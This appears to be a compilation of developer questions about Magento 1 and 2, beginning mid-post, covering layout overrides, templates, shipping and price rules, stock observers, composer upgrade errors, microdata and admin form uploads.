 * 2. Flush cache
 * 3. Go to customer login page
 * 4. Click login via %provider%
 * 5. Submit credentials
 * 6. Go to customer account Social Accounts tab
 * 7. Assert linked account
 *
 * @group @TODO
 */
class CustomerSocialLoginTest extends Scenario
{
    /**
     * Run scenario
     */
    public function test()
    {
        $this->executeScenario();
    }
}

But the problem here is the Scenario class is not found anywhere, This troubles me when trying to run the unit test.

Do I need to install some other module or other extension in compose.json ?


texts: Change expiration time of password reset link magento 2

texts:
I need to change expiration time of reset link.

Got the setting to change the expiration time from Admin panel . "Recovery Link Expiration Period (Hours)" But it's in hours and i want to change it to minutes
Similar question had been raised on Magento 1.7 but i am unable to find similar resolution for magento 2.

Change expiration time of password reset link


texts: "Stop Further Rules Processing" not applying to all items

texts:
There appears to be a bug with "Stop Further Rules Processing" in Magento CE1.9 / EE1.13 where only the first item in your cart recieves the discount.

I would expect:
If I have multiple shopping cart rules, each of which having "Stop Further Rules Processing: Yes", only the first of these rules would be applied, however it would be applied in full to all matching items for that rule.

What is happening:
The discount is only being applied to the first item in the cart, after which the rule processing is stopped.

See  screenshots:
The discount I am expecting for the entire cart is $50, but due to "Stop Further Rules Processing" I am only seeing $25.


texts:
In my default.xml I have the following:
<move element="my-account-link" destination="header-wrapper" before="minicart" />
<referenceBlock name="header.panel.wrapper" remove="true" />
<referenceBlock name="top.links" remove="true" />

This moves the my account link next to the minicart, which is correct. But what I need to do now is customize the code that displays the "My Account" link. Replace the link with an icon for example.
I've attempted to override this by placing a file called my-account.phtml under BRAND/THEME/Magento_Customer/templates/account/link/my-account.phtml with the following code (replaces the
 with a
):
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/**
 * @var \Magento\Customer\Block\Account\Link $block
 * @var \Magento\Framework\Escaper $escaper
 */
?>

    <a <?= /* @noEscape */ $block->getLinkAttributes() ?>><?= $escaper->escapeHtml($block->getLabel()) ?>

But this isn't working. The original location of my-account.phtml is magento-2.2.4.2/app/code/Magento/Customer/view/frontend/templates/account/link/my-account.phtml.
I've cleared cache by running bin/magento c:c. Other changes work no problem.


texts: getAddUrl($product) not working on CMS Blocks? (Magento CE)

texts:
I have a template file in which I built an 'add-to-cart' button. The button uses the common link to add a product to the cart:

$this->helper('checkout/cart')->getAddUrl($product)

I call my phtml file from a CMS page (via widget) and when I click on the button, the product is added correctly. The output of the command in the frontend is

https://www.myDomain.de/checkout/cart/add/uenc/[long alphanumeric string],/product/178/form_key/[alphanumeric string]/

and everything works fine.

Now, if I call the same phtml file from a CMS block I am not able to add the same product in the cart anymore. The output this time is

https://www.myDomain.de/checkout/cart/add/uenc/[long alphanumeric string]/product/178/form_key/[alphanumeric string]/

so the only difference is the missing ','. Whenever I submit on the button, the page just reloads and nothing is added (but also no error message appears).

I have tried different products and different blocks/cms sites. It seems to be a problem with the template coming from a cms block. This even happens if I create a CMS page and then reference a cms block which references the phtml file - even though the original command is always the same.

Edit: I did a side by side check to see how the output varies when using both methods.

Firstly via CMS page:

"https://www.domain/checkout/cart/add/uenc/aHR0cHM6Ly93d3cuYmVyaW9vLmRlL3Rlc3Qtc2VpdGU,/product/53/form_key/YG7ZM1B76W0SPJRQ/"

And now via CMS block:

"https://www.domain/checkout/cart/add/uenc/aHR0cHM6Ly93d3cuYmVyaW9vLmRlL3Byb2R1a3RlL3BvcnJpZGdl/product/53/form_key/YG7ZM1B76W0SPJRQ/"

There is a small difference how the URL is created even though the construction is identical.

Is there a special permission needed for cms blocks? Is the comma the culprit for this strange behaviour?

Using Magento CE 1.9.3.7


texts: get product attribute by product attribute group in magento 2

texts: How to get product attribute group in magento 2 from a attribute set. I want to show attribute on listing page by using a group so i can add more attributes in future


texts: Magento 2.2 - Uncaught TypeError: this.modal.zIndex is not a function

texts:
Am using Venus need theme, on mini cart's delete click and Checkout's Already have an account? Click here to login throws this issue.

  Uncaught TypeError: this.modal.zIndex is not a function modal.js:339

Due to this, modal not working fine. Can anyone please help me to sort out this issue?


texts: Adding options to products (with additional pricing)

texts:
Please excuse if this is a very fundamental question. A client has asked for some help with an existing Magento build and I have never touched it before.

He has a product selling for £299 and wants to be able to sell it at base price or sell it with installation for an extra £99. Is this possible? I have toyed around with attributes but all I managed to do was lose the buy now button on the product page and no mention of the option.

Searching brings up confusing results mostly dominated by paid add ons.

Can someone point me in the right direction for this please?


texts:
I used the following code to create a new Magento status and it worked fine but I didn't understand the difference between state and status. Can someone explain it better? Why can't I set an order with it?

<global>
    <sales>
      <order>
       <states>
        <order_recieved translate="label">
          <label>Order Recieved</label>
            <statuses>
                <order_recieved default="1"/>
            </statuses>
          <visible_on_front>1</visible_on_front>
        </order_recieved>
      </states>
  </order>

I found it on
How do you create a new order state for an order status to be assigned to?


texts:
Getting adminhtml/session error on sales order grid at the time of shipment save when it redirects. [Magento 2 EE]
Please check the attached SS for your reference.
Thanks in advance.


texts: How to set product special prices to 50% of regular price for a specific category and time span?

texts:
Is there a simple way, maybe with the catalog price rules, to set the special price of all products of a specific category to 50% of the regular price and set a start and end date?

We have near to 2000 Products in a Category that we want to reduce to the prices by 50%, so editing these manually isn't an option.

I've tried the Catalog Pricing Rules, but I could not get this to work.

If it isn't possible by Price Rules, is this possible with an sql query or similar?

Many thanks in advance.


texts: Thousands of Chinese and Russian Customers signed up - what's coming?

texts: In the last two weeks I have had hundreds of Chinese Customers sign up all with variants of xxxxxxxxx@qq.com email addresses. They haven't bought anything so I'm guessing they are just probing but I cannot anticipate what is about to happen.


texts: magento categories 1 column layout not working for every category

texts:
in manage categories i have created the following categories/subcategories

Collections

Classic

Double Necklaces
Necklaces
Bracelets

New York

Necklaces
Bracelets

i have set 1 page layout in custom design

why is it that it works for

-collections

-collections/classic/double necklaces

-collections/new-york/necklaces

-collections/new-york/bracelets

And the others

-collections/classic

-collections/classic/necklaces

-collections/classic/bracelets

-collections/new-york

it does not work... all have same settings but these last categories/subcategories show the sidebar wit layerednav

what can i be doing wrong???

Thanks


texts:
Is it possible to retrieve dependency injected arguments in another class?
For example, we have a class Vendor\Module\Block\Autocomplete.
// app/code/Vendor/Module/Block/Autocomplete.php
namespace Vendor\Module\Block;

class Autocomplete {

    protected $_data = [];

    public function __construct(array $data){
        $this->_data = $data;
    }
    public function getRendererList(){
        return $this->_data['rendererList'];
    }
}

The following dependency injection happens to that class;
<!-- app/code/Vendor/Module/etc/di.xml -->
<type name="Vendor\Module\Block\Autocomplete">
    <arguments>
        <argument name="rendererList" xsi:type="array">
            <item name="renderer_x" xsi:type="array">
                <item name="title" xsi:type="string">News</item>
                <item name="template" xsi:type="string">Vendor_Module/autocomplete/renderer_x</item>
            </item>
        </argument>
    </arguments>
</type>

Now I want to reuse the rendererList in another class (for example Vendor\Module\Block\Widget\Autocomplete) but the class can't extend from Vendor\Module\Block\Autocomplete since it is already extending from another class.
// app/code/Vendor/Module/Block/Widget/Autocomplete.php
namespace Vendor\Module\Block\Widget;

class Autocomplete extends AbstractWidget {

    protected $_data = [];

    public function __construct(array $data){
        $this->_data = $data;
    }
    public function getRendererList(){
        return $this->_data['rendererList'];
    }
}

The following is not working, because the data argument doesn't get populated
// app/code/Vendor/Module/Block/Widget/Autocomplete.php
namespace Vendor\Module\Block\Widget;

class Autocomplete extends AbstractWidget {

    protected $_autocomplete;

    public function __construct(Vendor\Module\Block\Autocomplete $autocomplete){
        $this->_autocomplete = $autocomplete;
    }
    public function getRendererList(){
        return $this->_autocomplete->getRendererList();
    }
}


texts: Update a custom column of sales_flat_order table after order complete in magento

texts:
I have a custom column used in sales_flat_order in my code and I just want to update a column value of this table when the order is complete. I have used the event sales_order_save_after and below is the code:

    public function salesOrderSaveAfter(Varien_Event_Observer $observer) {
    $order = $observer->getEvent()->getOrder();
    $orderId = $order->getId();

    $Incid=$order->getIncrementId();

    if ($order->getState() == Mage_Sales_Model_Order::STATE_COMPLETE) {

        $con=Mage::getSingleton('core/resource');
        $write=$con->getConnection('core_write');

        $query= "update `sales_flat_order` set `vorder_payment_state` = 2 where `entity_id`='.$orderId.'";
        $write->query($query);

    }
    }

the column value is not updated.


texts: How to remove a product catalog page ‘col-left sidebar’ and Product Detail Page ‘col-left sidebar’

texts:
Catalog page

Product view page

My web:luoshi.biz THX!


texts: Getting product url and thumbnail in order-confirmation mail that goes to seller

texts:
I have solved this issue of getting product URL and thumbnail that goes to customer mail
this is my code:

<?php $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$product = $objectManager->create('Magento\Catalog\Model\Product')->load($_item->getProduct()->getId());

$imagewidth=200;
$imageheight=200;
$imageHelper  = $objectManager->get('\Magento\Catalog\Helper\Image');
$image_url = $imageHelper->init($product, 'product_page_image_small')->setImageFile($product->getFile())->resize($imagewidth, $imageheight)->getUrl();
for showing product url:
<a href="<?= $_item->getProduct()->getProductUrl(); ?>"> <?= $block->escapeHtml($_item->getName()) ?>

For showing Image:<?= $image_url ?>

Now this have been done from customer perspective. when the same mail goes to seller changes are not reflecting to their email.

So how to make changes so that seller can see product URL & Thumbnail in his/her email to or his/her end.

Thanks


texts: Magento 2 - Quick css amends without having to deploy static content (during development)

texts:
This question has been asked a few times but I have yet to find the definitive answer.

When making small css tweaks to the my theme (in developer mode) it seems that in order to see them on the frontend I have to follow these steps to get it to show:

1) Deploy static content for en_GB (my theme/locale)

2) Deploy static content for en_US (admin)

3) Reset file permissions on pub/static - otherwise everything is forbidden.

4) Clear cache

5) Reload frontend

This seems crazy in order just to see a font change colour!

Surely I must be missing something??

Is there a quick way to make css changes?!

Magento ver. 2.0.5


texts: How to add discount price in the reports admin grid

texts:
I have created report admin grid fetch the collection of catalog product. This thing is done . But I need to add discount price grid
 We need to get final price of the product and discount the amount with the final price and display the result in the admin grid under the reports


texts: Magento2: How to show shipping method condition wise?

texts:
I want to show shipping method base on total product weight.

I have 2 Shipping method A and B.

If total shipping weight equal or less than 150. Then will show shipping method A

If total shipping weight greater than 150. Then will show shipping method B.

Anyone can explain how to apply shipping method condition total product weight wise?


texts: I have implemented free shipping with minimum order order $40.00

texts:
I have implemented free shipping method with minimum order $40.00 and also flat shipping.

When free shipping condition is true, then I don't want to show other shipping methods, how to do this?

I am not aware of Magento code.


texts: Magento 2: How to add a product grid and category tree in custom module?

texts:
I need to add a Product Grid and a Category Tree in my custom module.
(Product Grid as given in admin category page & Category Tree as given in admin product page).
I need both of them in single tab of my custom module's form.


texts:
Currently I have a New Product List widget running on my hompage with:

{{widget type="Magento\Catalog\Block\Product\Widget\NewWidget" display_type="all_products" products_count="10" template="product/widget/new/content/new_grid.phtml"}}

I have two stores atm, one for retail and one for wholesale. I do not want to display new products in retail store over at wholesale store and vice versa.

The products in both stores belong to different root categories. Is there an attribute such as

  store_view = "..retail.."

that I can include in the widget?


texts: Check If JQuery Is Already Included In Head

texts:
I want to check if jQuery is already included on the page. I have seen several methods and finally settled on the following:

if ( (typeof jQuery === 'undefined') || !window.jQuery ) {
    document.write(unescape("%3Cscript type='text/javascript' src='//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js'%3E%3C/script%3E"));
}

My question is: is there another/better way to do this? I sometimes still have a jQuery conflict because it is fetched twice. Thanks.


texts:
since magento version 1.9.iDontKnow.* paypal wps ist not available without paypal express.

The problem is that the paypal express review page is required to pass, which is totally abusing the customer checkout process from my point of view.

I need to get back to the prior checkout workflow of paypal without beeing redirected to the paypal express ugly review page.

So in detail/steps:

Customer goes to /checkout/onepage
Customer enters billing/shipping, chooses paypal and shipping method
Customer gets to the review (last step)
Customer gets redirected to paypal after clicking on "place order"
Customer sees the success page after the paypal gateway

Is it possible to configure or hack back the old behaviour as described above?


texts:
Preconditions (*)
Magento 2.3.x

Steps to reproduce (*)
Content -> Design -> Configuration
Edit any Default Store View
Other Settings -> Header
Upload a favicon or logo

Expected result (*)
Favicon or logo is uploaded and "filled in the form"

Actual result (*)
Error message :" A technical problem with the server created an error. Try again to continue what you were doing. If the problem persists, try again later."
image

This issue has been tackled multiple times on Github and here. However, I tried the suggested fixes
(
https://github.com/magento/magento2/issues/18688
Magento 2.3.0 "A technical problem with the server created an error." When uploading the logo image
)
and this issue still persists for me.
Last entry in the system.log:
[2021-01-14 13:50:34] main.WARNING: Failed to retrieve the release notification content. The response is: Response body is empty. [] []


texts: What is field "website_root" in the database table "cms_page" in CE1.9

texts:
I am working on multistore functionality.
I am referring cms page module for reference.
I found "website_root" field in "cms_page" table  but not in the table "cms_block" table.
What is field "website_root" in the database table "cms_page"?


texts: Magento2 : Getting error in console customer-data.js:86

texts: I am using Magento2.1.9 getting this error in our console i am trying to different solutions but not fix it.please if any one know reply me


texts:
I am trying to add schema / microdata to my website. I have added the below code, but when I test the site with Googles tool I get the wrong price. If a product is set to 99,00 - Google reads it as 9900. For some unknown reason,  getPrice reads the price as 9900 from my magento shop. If I change price to 99,12 - getPrice reads 9912

    <!-- MICRODATA -->
<div itemscope itemtype="http://schema.org/Product">
  <meta itemprop="name" content="<?php echo $_helper->productAttribute($_product, $_product->getName(), 'name') ?>" />
  <div itemprop="offers" itemscope="" itemtype="http://schema.org/Offer">
    <meta itemprop="priceCurrency" content="<?php echo $currency_code = Mage::app()->getStore()->getCurrentCurrencyCode(); ?>">
    <?php
    $specialPrice = $_product->getFinalPrice();
    $normalPrice = $_product->getPrice();
    if ($normalPrice != $specialPrice){
    ?>
      <meta itemprop="price" content="<?php echo preg_replace('/[^0-9.]+/', '',strip_tags(Mage::helper('core')->currency($_product->getFinalPrice()))); ?>">
     <?php
    }else{
    ?>
        <meta itemprop="price" content="<?php echo preg_replace('/[^0-9.]+/', '',strip_tags(Mage::helper('core')->currency($_product->getPrice()))); ?>">
    <?php
    }
    ?>
    <?php
    $microdata_stock = Mage::getModel('cataloginventory/stock_item')->loadByProduct($_product)->getIsInStock();
    if ($microdata_stock >= 1){
      $microdata_stock_msg = 'In Stock';
    }else{
      $microdata_stock_msg = 'Out of Stock';
    }
    ?>
    <meta itemprop="availability" content="<?php echo $microdata_stock_msg; ?>">
    <meta itemprop="itemCondition" itemtype="http://schema.org/OfferItemCondition" content="http://schema.org/NewCondition" />
  </div>
</div>
<!-- MICRODATA -->


texts: Stock qty is not updating after order place with custom qty

texts:
I am trying to set stock qty of products with my custom stock qty after placing order. So I used following code in my config.xml file-

<sales_order_place_after>
                    <observers>
                        <po>
                            <type>singleton</type>
                            <class>po/observer</class>
                            <method>setQty</method>
                        </po>
                    </observers>
</sales_order_place_after>

Obeserver.php file -

public function setQty($product_id)
{
  $product = Mage::getModel("catalog/product")->load(12345); //assume product_id=1234 just placed hardcore for a particular product
  $product->setStockData(array(
                        'use_config_manage_stock' => 0,
                        'manage_stock'=>1,
                        'min_sale_qty'=>1,
                        'is_in_stock' => 1,
                        'qty' => 5
                        )
  );

 $product->save();
}

now if product with id 12345 has current stock qty 4 and an order with qty 1 of this product is placed then I want its qty should be 5 or whatever I want. but currently it is decreasing and showing qty 3 instead of qty 5. I have set "Yes" for option Decrease Stock When Order is Placed in System>Configuration>Inventory. I don't want to set it NO. Although setting it NO, it worked and qty is set to 5

Not sure which function is overriding qty. Perhaps it is core functionality. I want to call my observer function after all core function has been called. but i don't know how to do this. Please help me.


texts: unable to update Magento to latest version from 2.2.4 to 2.3

texts:
I am trying to update Magento 2.2.4 to Magento 2.3 via composer but I am getting below error:

  Your requirements could not be resolved to an installable set of packages.

 Problem 1:
    - magento/inventory-composer-installer 1.0.3 requires composer-plugin-api ^1.1 -> no matching package found.
    - magento/product-community-edition 2.3.0 requires magento/inventory-composer-metapackage ^1.0.3 -> satisfiable by magento/inventory-composer-metapackage[1.0.3].
    - magento/inventory-composer-metapackage 1.0.3 requires magento/inventory-composer-installer ^1.0.3 -> satisfiable by magento/inventory-composer-installer[1.0.3].
    - Installation request for magento/product-community-edition 2.3.0 -> satisfiable by magento/product-community-edition[2.3.0].

Potential causes:
 - A typo in the package name
 - The package is not available in a stable-enough version according to your minimum-stability setting
   see <https://getcomposer.org/doc/04-schema.md#minimum-stability> for more details.

Read <https://getcomposer.org/doc/articles/troubleshooting.md> for further common problems.

I did run below commands:

1: composer require magento/product-community-edition=2.3.0 --no-update
2: composer require –dev phpunit/phpunit:~6.2.0 friendsofphp/php-cs-fixer:~2.10.1 lusitanian/oauth:~0.8.10 pdepend/pdepend:2.5.2 sebastian/phpcpd:~3.0.0 squizlabs/php_codesniffer:3.2.2 –no-update
3: composer update


texts: Show customer wishlist collection like in category view page

texts:
I want to show the customer wish list products to another customer with the layout like in category view page which include the layered navigation, toolbar option, and navigation page.

Is there a way to achieve this?


texts: How to fix blank Minicart popup in custom navbar for Magento 2

texts:
I am creating a custom theme from the parent theme Luma. I've added this code to Magento_Theme/layout/default.xml to include the minicart.

<block class="Magento\Checkout\Block\Cart\Sidebar" name="minicart" as="minicart" template="Magento_Checkout::cart/minicart.phtml"/>

The result added the cart icon but when clicked on, it only shows a blank popup. This stays blank whether there is a product added to cart or not. There is no error messages in console.


texts: How do I add a customer logged in menu to a page from the local.xml file

texts:
I am working on getting a menu appearing in a magento template in the header.phtml file.

In my local.xml file I have the following code:

      <customer_logged_in>

        <reference name="my_account_menu">

            <block type="core/template" name="my_account_menu_block" template="page/html/menu/account_logged_in.phtml" />
        </reference>

      </customer_logged_in>

      <customer_logged_out>

        <reference name="my_account_menu">

          <block type="customer/form_login" name="my_account_menu_block" template="page/html/menu/account_logged_out.phtml" />
        </reference>

      </customer_logged_out>

What I want to do is add this into my header template and switch for each logged in/logged out state.

Currently I am doing this in the header:

<? if (Mage::getSingleton('customer/session')->isLoggedIn() || (Mage::app()->getRequest()->getRequestString() == "/customer/cart")) { ?>
    <?= $this->getChildHtml('loggedin_menu') ?>

logged in

<? } else { ?>
    <?= $this->getChildHtml('my_account_menu_block') ?>

logged out

<? } ?>

This works for the logged in menu but not for the logged out menu.

Does anyone have an idea of a cleaner approach to this?

Cheers,
Mark


texts: How to create plugin to override a magento2 module?

texts: I can not override a protected function using plugin. iS there any other way to override the same function?


texts: magento 2 Programmatically create a credit memo by script

texts:
Given an order that has been invoiced (by cash on delivery for testing) and is in state "processing", how can I create a credit memo?
in code that is outside of Magento routing

EDIT:

I have found many solutions for creating a credit memo. But I want to create a credit memo from the root of Magento.


texts: Product name and sku is same for configurable product in magento 1

texts:
I used magento 1.9.2.1. When i create configurable product with csv upload and give _super_products_sku , it will automatically set its name too.

Is there any other way to set its name ?

I google it but did not find any information.


texts: How to extend AW_Onestepcheckout_AjaxController and Mage_Checkout_Controller_Action?

texts:
I have default magento mage_customer extend but onestepcheckout on issue.

AW_Onestepcheckout_AjaxController also extend mage_checkout account controller.

so how to extend both account controller.

AW_Onestepcheckout_AjaxController
Mage_Checkout_Controller_Action

my template override function is working.


texts:
When I create a layout file for the admin area (whether in the community or local code pool), sometimes Magento is loading that layout xml in before the Adminhtml module layout xml is loaded. The effect is that reference calls are discarded because there is no block created to apply them to.

Obviously, caching is not playing a part here. I have added Mage_Adminhtml in the <depends/> node in the module declaration file.

Is this an issue that you have had before? If so, how is it resolved?

I have worked through this issue a number of times, and get to a solution each time, but I can't figure what causes this to happen in the first place.


texts: Magento product details page not loading after search result

texts:
In my magento website, whenever i am trying to view the product details page from search result (means product list is generated from the search query) its not loading the product details page properly. After the breadcrumbs its not displaying anything.The sample url is given below.

https://www.example.com/index.php/test.html

And the breadcrumbs is displaying like Home/test.html

If I go the category page and view the same particular product then it shows perfectly with below url.

https://www.example.com/index.php/category1/test.html  and breadcrumbs looks like Home/category1/test.html.
Any help will be greatly appreciated.


texts: Fatal error: Call to a member function setData() on boolean in core/Mage/Adminhtml/Block/Widget/Form/Container.php on line 144

texts:
Good evening guys!
I am almost giving up on this error that i am getting with a new module.
Fatal error: Call to a member function setData() on boolean in /var/www/public_html/app/code/core/Mage/Adminhtml/Block/Widget/Form/Container.php on line 144

These line refers to this part:
public function getFormHtml()
{
    $this->getChild('form')->setData('action', $this->getSaveUrl());
    return $this->getChildHtml('form');
}

I have the following structure:
Company_Module_Block_Adminhtml_Campaign_Edit_Tabs > Company_Module_Block_Adminhtml_Campaign_Edit_Tab_Form > Company_Module_Block_Adminhtml_Campaign_Edit_Form

Ok i have Xdebug running on this project and everything is being called except this one :
Company_Module_Block_Adminhtml_Campaign_Edit_Form

My Edit.php is everything ok too:
    parent::__construct();
    $this->_blockGroup = 'company_module';
    $this->_controller = 'adminhtml_module';

I've being trying to resolve this error for days, searched every place but still with no answer :(


texts: Android Magento Cart not active using API

texts:
Recently, I created empty new Cart in Android Magento using Magento api method "shoppingCartCreate" in SOAP v2. I also set Customer Information in cart and added product programatically in cart.When I try to get cart information using "shoppingCartInfo" method, it gives field is_active=0.
How can i activate cart from android?

I want Cart id assign with customer when customer logged in into android application.
so i tried to get cart id from customer in php by following code:

$storeIds = Mage::app()->getWebsite(Mage::app()->getWebsite()->getId())->getStoreIds();
$quote = Mage::getModel('sales/quote')->setSharedStoreIds($storeIds)->loadByCustomer($customer)->getId();

Code working fine and returning quote id(Cart id) only if it is activated means is_active=1 else returning nothing.

when i try to login from website,as i click on cart (whethere it is empty or not) ,cart of current logged customer is automatically activated.

Why does the Magento cart.create function make the cart inactive?


texts:
I would like to add a date field with calendar that uses english language format.
So the date should look like 01 february 2011.
Problem is that my locale is italian. How to change format and force it to use english locale?
Here's my actual code
$fieldset->addField('created_at', 'date', array(
        'label'     => Mage::helper('review')->__('Review Date'),
        'name'      => 'created_at',
        'image' => $this->getSkinUrl('images/grid-cal.gif'),
        'format' => Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_LONG),


texts: Global stock not applied in store scope in magento 2

texts: I created a configurable product in magento 2.3.3. The is_in_stock field is global by default. But I don't know why, when I change the is_in_stock value for "All store views" scope, I still have the old value for each store, so in the frontend, the update is not applied. In the table "cataloginventory_stock_status" the column "stock_status" is updated only for the website_id = 0. Do you have a fix?


texts: How to create an index on a table according to Magento way?

texts: How can I create an index on a existing table by using a script file? Any suggestions will be appreciated. Thanks in advanced.


texts: Product back Stock Alert to customer through SMS

texts:
I need to send SMS (By using any SMS API) to customers when products are back in stock.

I have added my SMS API in Mage_ProductAlert_Model_Observer class under public_html/app/code/core/Mage/ProductAlert/Model/Observer.php file but its not sending SMS to customers. Why?

Also its only showing two customers details instead of all customers subscribed to product stock alert. Here is my code

 public function process()
    {
        $email = Mage::getModel('productalert/email');
        /* @var $email Mage_ProductAlert_Model_Email */
        $this->_processPrice($email);
        $this->_processStock($email);
        $this->_sendErrorEmail();

        return $this;

    $customer_stock_alerts = Mage::getModel('productalert/stock')->getCollection()->addStatusFilter(0)->setCustomerOrder();
    foreach ($customer_stock_alerts as $alert){
      $stock_back_product = $alert->getProductId();
      $current_product=Mage::getModel('catalog/product')->load($stock_back_product);
      $current_product_name = $current_product->getName();
      $customer_info = Mage::getModel('customer/customer')->load($alert->getCustomerId());
      $customer_name = $customer_info->getPrimaryBillingAddress()->getFirstname();
      $customer_mobile = $customer_info->getPrimaryBillingAddress()->getTelephone();
      $message = 0;
      $message = "Dear $customer_name, Product $current_product_name is back in Stock";
      $message=urlencode($message);
      $sendsms = "http://api.msg91.com/api/sendhttp.php?sender=MSGIND&route=4&mobiles=$customer_mobile&authkey=xxxxxxxxxxxxxxxxxxx&country=91&message=$message";
      file_get_contents($sendsms);
    }
    }

Can anyone share what's the issue this & why SMS is not sending?

Thanks.


texts: product page some functionality lost - Magento 2.0.1

texts:
I have created theme which extends to luma, right now I am customizing home page by the help of customize widget.After setting new theme I have faced two problems

1) category url show none of the product

for example when I load <magento-root>/women.html

it will show You have no items to compare.

2) product detail page

till Yesterday everything going fine, but suddenly I have lost product page some functionality like

detail,more information,review tab not working
review form only show field(no text)
related products shown nothing

Related Product

But I am very sure, I am not touching any product page customization from (Magento_Catalog).

how to sort out from this issue. Thanks in advance


texts: Magento 2 Layout Events: controller_action_layout_render_before vs. layout_render_before

texts:
Magento 2 has two sets of events that are triggered before the layout is rendered:

in \Magento_Framework_App_View::renderLayout()

controller_action_layout_render_before
controller_action_layout_render_before_{$fullActionName}

in \Magento\Framework\View\Result\Layout::renderResult()

layout_render_before
layout_render_before_{$fullActionName}

Since method (2) is only called by method (1), both are always fired. The controller_action part is misleading because there is no controller action involved, the name is probably ported from Magento 1, while the events in (2) are new.

Which one should I use to apply changes to the layout before it is rendered? Does it make any difference?


texts: There is an attribute created as ATTR6 when I am displaying that in a separate heading. is that possible

texts: I have an attribute created as Attr6 with lot of values. I want to filter the frontend data using the attributes. So when I am trying to displaying the values of the attributes in frontend can I change the heading of it as Brand??


texts: How calculate tax on discounted product in magento 1.9.2

texts:
Example :

Product Price in magento MRP - USD 1000 which includes 10% GST

Now customer applied discount ie 50% off, the price is now 500$

Now i want to add 10% GST on 500 USD ie 50$ - so total would become - 550USD.

how to achieve this thing in magento?


texts:
Fatal error: Call to a member function count() on a non-object in C:\xampp2\htdocs\magento1.9\app\design\frontend\rwd\default\template\catalog\product\list.phtml on line 2

<?php // Grid Mode ?>
<?php $_collectionSize = $_productCollection->count(); ?>
<?php $_columnCount = $this->getColumnCount(); ?>
<?php $i=0; foreach ($_productCollection as $_product): ?>
<?php if ($i++%$_columnCount==0): ?>

<?php endif; ?>
<li class="item<?php if(($i-1)%$_columnCount==0): ?> first<?php elseif($i%$_columnCount==0): ?> last <?php endif; ?>">

<?php if ($_product->getAttributeText('new_sale') == "Yes"): ?>
<?php echo $this->getLayout()->createBlock('cms/block')->setBlockId('new_sale')->toHtml(); ?>
<?php endif; ?>

<a href="<?php echo $_product->getProductUrl() ?>" title="<?php echo $this->stripTags($this->getImageLabel($_product, 'small_image'), null, true) ?>" class="product-image">
<img src="<?php echo $this->helper('catalog/image')->init($_product, 'small_image')->resize(153); ?>" width="153" height="153" alt="<?php echo $this->stripTags($this->getImageLabel($_product, 'small_image'), null, true) ?>" />

<a href="<?php echo  $_product->getProductUrl() ?>" title="<?php echo $this->stripTags($_product->getName(), null, true) ?>"><?php echo $_helper->productAttribute($_product, $_product->getName(), 'name') ?>

<?php if($_product->getRatingSummary()): ?>
<?php echo $this->getReviewsSummaryHtml($_product, 'short'); ?>
<?php endif; ?>
<?php endforeach; ?>


texts: Override ui_component .xhtml template file

texts:
How can I override a ui_components' template file?

The concerning file is:

vendor/magento/module-ui/view/base/ui_component/templates/listing/default.xml

I want to override this file so that it adds a CSS class to the div specific for the widget used.

I've tried copying the file to: app/design/frontend/Vendor/Theme/Magento_Ui/ui_component/templates/listing/default.xhtml

But this hasn't worked, even after flushing all caches and performing setup:upgrade I don't see any changes made on the frontend.

Making the change directly in the original file under vendor does however have an effect, so I'm sure that I'm editing the right file.

Someone that has an idea?


texts: Permission issues with Magento MySql hosted on RDS on AWS

texts:
someone else installed an instance of Magento for me on Ubuntu on AWS and now I am running into some permission issues and trying to debug (e.g. database tables are not being created). I think the permission issues are because on this server the DB is installed on RDS. I have the exact Magento installed on another AWS server with DB locally installed and that's working fine.

How do I check which user is Magento running as?
How can I manually login into MySql from command prompt? Just typing "MySql" gives the error "ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)". I can see MySql credentials at app/etc/local.xml, but unable to figure out how to get the "mysql>" prompt
Any pointer on what the issue (permission issues) be MySql@RDS?

Thanks!!


texts: Adding custom links in the cart page: Magento

texts:
I am not sure if this has been asked before but I could not get anything much relevant when I tried to search about it.
I want to add a new custom link on the shopping cart page along with the other existing links Update Shopping Cart and the Continue Shopping links.

I am having a custom module and I understand that I would need to override the core template but not sure on how exactly this should be done.
Which is the template file that is responsible for displaying the other links or buttons?

Can anyone please help?


texts: We're having this trouble when we try to test the paypal express checkout, our merchant country is United Arab Emirates


texts: Product Image does not load on product page

texts:
I am having an issue with products images in Magento 2. The products were brought in from a Magento 1.7 install using the data migration tool. I then copied the media/catalog folder from the M1 install to the M2 install.

It appears that everything is working correctly: the product images show up in the Admin tool, and all of the products have thumbnails in the category listings. But when I click through to the product page, Magento 2 loads the default placeholder.

Even when I upload a new image and set it as the base, it does not appear on the product detail page.

I ran find ./pub/media -type d -exec chmod 777 {} \; and find ./pub/media/catalog -type f -exec chmod 777 {} \; to make sure it wasn't a permission issue, but I still can't get the product image to load.

I'm not sure how to debug this further, since it loads a placeholder I can't see what it is trying to load instead of the proper image.

Why isn't my product image loading?


texts: Magento2 new theme is not displaying properly

texts:
I am using magento on my local host. For practice i download theme from github. But theme is not showing displaying properly. It look like css is broken. Here is snapshot of theme.

I past code of theme under

  E:\XAMPP\htdocs\Magento\app\design\frontend\CzoneTech\fresh


texts: Admin Form not submit redirected to dashboard page

texts:
I have created a small module to add new tab on order view page. right now tab is showing a static phtml file with a form in it:

<?php
class MageSf_OrderCustom_Block_Adminhtml_Order_View_Tab_OrderCustom
extends Mage_Adminhtml_Block_Template
implements Mage_Adminhtml_Block_Widget_Tab_Interface
{

public function _construct()
{
    parent::_construct();
    $this->setTemplate('magsf/ordercustom/order/view/tab/ordercustom.phtml');
}

public function getTabLabel() {
    return $this->__('Order Attachment');
}

public function getTabTitle() {
    return $this->__('Order Attachment');
}

public function canShowTab() {
    return true;
}

public function isHidden() {
    return false;
}

public function getOrder(){
    return Mage::registry('current_order');
  }
 }

ordercustom.phtml includes the following:

if(isset($_POST['docname']))
   {
     try
   {
    $path = Mage::getBaseDir().DS.'customer_documents'.DS;  //desitnation directory
    $fname = $_FILES['docname']['name']; //file name
    $uploader = new Varien_File_Uploader('docname'); //load class
    $uploader->setAllowedExtensions(array('doc','pdf','txt','docx')); //Allowed extension for file
    $uploader->setAllowCreateFolders(true); //for creating the directory if not exists
    $uploader->setAllowRenameFiles(false); //if true, uploaded file's name will be changed, if file with the same name already exists directory.
    $uploader->setFilesDispersion(false);
